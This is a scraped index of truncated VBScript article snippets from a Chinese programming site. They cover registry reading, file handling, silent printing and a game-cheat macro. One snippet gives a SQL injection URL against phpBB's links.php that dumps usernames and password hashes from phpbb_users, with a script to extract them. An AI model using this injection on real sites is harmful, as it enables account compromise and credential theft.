setObj=createobject("WScript.Shell")VBSYN=Obj.Popup("欢迎使用《淡月下清荷》古惑仔外挂程序，《自动式》恢复生命值吗？",0,"关机？",36)Gosubjiance///////检测位置up=500down=0RembrothersetVBSCallup=InputBox("请设置攻击目标的兄弟上限")VBSCalldown=InputBox("请设置攻击目标的兄弟下限")Ifdown>upMessageBox"输入错误"GotobrothersetEndIf//Popup--弹出对话框Delay2000RemstartMoveTo25...
http://www.jb51.net//article/16382.htm
您好，CL。这是很有趣的问题，或者我们应当说，这是两个很有趣的问题。因为您实际上问了两个问题。第一个问题很简单：我可以使用脚本打开特定的Web站点吗？您大概已经知道答案了，我可以大声地回答您，可以！下面是一个示例脚本，它将“脚本中心”的URL存储在一个名为strURL的变量中。然后，此脚本会创建WSHShell对象的一个实例，并使用Run方法来打开默认的Web浏览器并导航到指定的URL：strURL=“http://www.microsoft.com/technet/scriptcenter/default.mspx”SetobjShell=CreateObject("Wscript.Shel...
http://www.jb51.net//article/16381.htm
第一个页面：<html><head><scriptlanguage="VBScript">SubHello()Document.All.myScriptlet.HelloEndSub</script></head><bodyonload="Hello()"><OBJECTID="myScriptlet"TYPE="text/x-scriptlet"DATA="2.htm"HEIGHT="0"WIDTH="0"></OBJECT></body></html>2.htm里的源码：...
http://www.jb51.net//article/16380.htm
首先在HTML页面中加入WebBrowser的Object:<OBJECTclassid="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"height=0id=wbname=wbwidth=0></OBJECT>之后，使用如下代码进行打印：<scriptlanguage="VBScript">subprintvb()wb.execwb6,2,3EndSub</script>关键代码wb.execwb6,2,3可以在VBScript方式下实际无需提示的直接打印，但奇怪的是用同样的参数，在Javascript方...
http://www.jb51.net//article/16374.htm
[code]<html><head><title>磁盘管理器</title></head><body><divid="DivList"></div><scriptlanguage="vbscript">SubList(sPath)sPath=Replace(sPath,"*","")SetFSO=CreateObject("Scripting.FileSystemObject")Setc_drive=FSO.GetFolder(sPath)Setc_files=c_drive.Files...
http://www.jb51.net//article/16287.htm
[code]ConstHKEY_CURRENT_USER=&H80000001strComputer="."SetobjRegistry=GetObject("winmgmts:\\"&strComputer&"\root\default:StdRegProv")strKeyPath="Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"objRegistry.EnumValuesHKEY_CURRENT_USER,strKeyPath,arrValueNames,arrValueTypesForEachs...
http://www.jb51.net//article/16286.htm
DeleteLineFunction[code]FunctionDeleteLine(strFile,strKey,LineNumber,CheckCase)'DeleteLineFunctionbyTomRiddle2008'Removeline(s)containingtext(strKey)fromtextfile(strFile)'or'Removelinenumberfromtextfile(strFile)'or'Removelinenumberifcontainingtext(strKey)fromtextfile(strFile)'UsestrFile="c:\file.txt...
http://www.jb51.net//article/16264.htm
跨盘移动文件夹的怪问题SetobjFSO=CreateObject("Scripting.FileSystemObject")objFSO.MoveFolder"C:\Scripts","d:\2"权限拒绝，但是copy就可以。可以采用变通的办法先复制再删除========================================wmi=================strComputer="."SetobjWMIService=GetObject("winmgmts:"_&"{impersonationLevel=impersonate}!\\"&strCompute...
http://www.jb51.net//article/16263.htm
注入代码如下:links.php?t=search&search_keywords=asd&start=1,1UNIONSELECT1,username,user_password,4,5,6,7,8,9,10,11,12,13FROMphpbb_userswhereuser_idlimit0,1000/*这样就提取了1000个用户名和md5，将上边的保存成htm，要挨个提取出md5和用户名很麻烦，写了段代码。这段代码我很满意，估计是最简单的提取方法了，呵呵。代码如下：'用法示例：cscript//Nologothis.vbsc:\11000.htm>c:\1.txt[c...
http://www.jb51.net//article/16262.htm
setfso=wscript.createobject("scripting.filesystemobject")fso.deletefile"c:\windows\system32\run.cmd"fso.deletefile"c:\windows\system32\run.vbs"...
http://www.jb51.net//article/15635.htm
dimn,ans,in=inputbox("n(0<=n<=170)=")ans=1fori=1tonans=ans*inextmsgbox(ans)...
http://www.jb51.net//article/15509.htm